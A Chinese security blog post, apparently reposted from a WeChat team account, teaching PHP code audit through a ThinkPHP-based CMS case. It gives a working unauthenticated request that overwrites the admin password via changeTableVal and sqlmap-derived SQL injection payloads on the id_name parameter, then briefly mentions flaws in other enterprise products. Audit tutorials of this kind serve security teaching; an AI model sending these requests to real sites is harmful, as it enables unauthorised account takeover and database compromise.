手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

admin 2025年2月14日09:46:02评论51 views字数 2206阅读7分21秒阅读模式
手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析
代码审计是保障Web应用安全的关键环节,但往往被许多开发者和企业忽视。无论是小型的个人网站,还是大型的电商、金融平台,代码的安全性都至关重要。在这个数字化时代,代码漏洞可能直接导致数据泄露、资金损失甚至法律风险,因此,发现并修复代码中的漏洞,是每个开发者和安全人员的责任。
PHP代码审计的复杂性往往藏在代码的深处——从输入验证、数据处理到权限控制,任何一环的设计疏漏都可能成为攻击者的“入场券”,而多数开发者甚至企业的安全团队都对此缺乏系统认知。
团队将分享典型的PHP代码CMS审计思路,希望师傅们能从中看到代码审计的另一种视角。有不明白的地方,欢迎加入我的交流群一起探讨交流。
手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

前言

PHP CMS入口在哪里?

这里的某腾CMS在最早期的挖掘过程中,作为代码审计练手的案例,给了我很多审计上面的经验

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析
手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

某腾CMS是基于ThinkPHP二次开发的内容管理系统,在某些方面继承了ThinkPHP的框架漏洞

常见的命令执行利用方法是修复了的,但是自带的组件,比如Ueditor组件没有做鉴权,导致了文件上传等漏洞,下面是详细的审计文档

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

该PHP CMS主页截图如下

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

咱们来看下CMS的入口在哪里,ThinkPHP的对应路径访问方法遵从以下的规则:

application路径下查看文件,根据以下对应的请求路径得到m=mingteng&c=Uploadify&a=uploadm  --> 目录c  --> controller文件a  --> 方法

/application文件夹内容如下,参数m可以指定访问的文件夹名称,这里有common、home、mingteng都可以访问下面的文件和对应方法

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析
/mingteng/controller文件夹内容如下
手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析
以文件夹其中的Uploadify.php文件为例,查看源码发现info数组里面是可以调用的方法
手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

请求传参m=mingteng&c=Uploadify&a=fileList,调用fileList方法为查看temp目录下的所有文件

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

这样捋清楚了请求方法,就能调用每个文件里面的方法且没有权限验证,一个个试结合代码审计,总能出洞

挖掘案例

SQL注入出洞就是那么简单

在代码审计的过程中,我在控制器Index.php中发现了和数据库相关的参数名称

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

没有权限验证也可以调用该changeTableVal中的方法

构造:

https://xxxx/index.php?m=mingteng&c=Index&a=changeTableVal&table=admin&id_name=admin_1&id_value=1&field=password&value=49ba59abbe56e057

对照down下来的sql样例文件,构造一个类似的修改数据库功能路径,SQL语句执行是没有权限验证的。这里构造的第一步table为存在的表名,id_name设为不存在的键值

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

此处存在update语句的SQL注入漏洞,可以使用sqlmap进行验证

Parameter: id_name (GET) Type: error-based Title: MySQL >=5.6 error-based -Parameter replace (GTID_SUBSET)Payload: m=mingteng&c=Index&a=changeTableVal&table=admin&id_name=GTID_SUBSET(CONCAT(0x716b786b71,(SELECT (ELT(4471=4471,1))),0x71706a7a71),4471)&id_value=1&field=password&value=49ba59abbe56e057 Type: time-based blind Title: MySQL >=5.0.12time-based blind -Parameter replace (substraction)Payload: m=mingteng&c=Index&a=changeTableVal&table=admin&id_name=(SELECT7655FROM (SELECT(SLEEP(5)))GTMX)&id_value=1&field=password&value=49ba59abbe56e057
手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

关于某腾的PHP CMS的代码审计的记录文档,已经放在团队的最新Freebuf知识大陆中,只是个红队内部小圈子

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析
扫码即可加入查看文档详细内容
手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

用友U8cloud,是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。用友U8Cloud在全版本中存在反序列化漏洞。未经授权的攻击者可以通过访问FileTransportServlet类时构造恶意请求包。

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

华天动力OA存在多个历史漏洞,结合源码进行分析。华天动力是我国首批OA企业,是双软认证的高新技术企业,专注OA办公系统20余年,开放免费OA系统下载试用,旗下OA产品累计为37500多个客户提供高效OA办公体验。

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

致远A8,又称致远互联A8协同管理软件,是面向中型、大型、集团型组织(集团版OA)的数字化协同运营中台。A8版本的系统小版本较多,本次分析用的是致远A8 V7 SP1版本源码。

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

END

关注Code4th安全团队

了解更多安全相关内容~

原文始发于微信公众号(Code4th安全团队):手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月14日09:46:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析https://cn-sec.com/archives/3739313.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息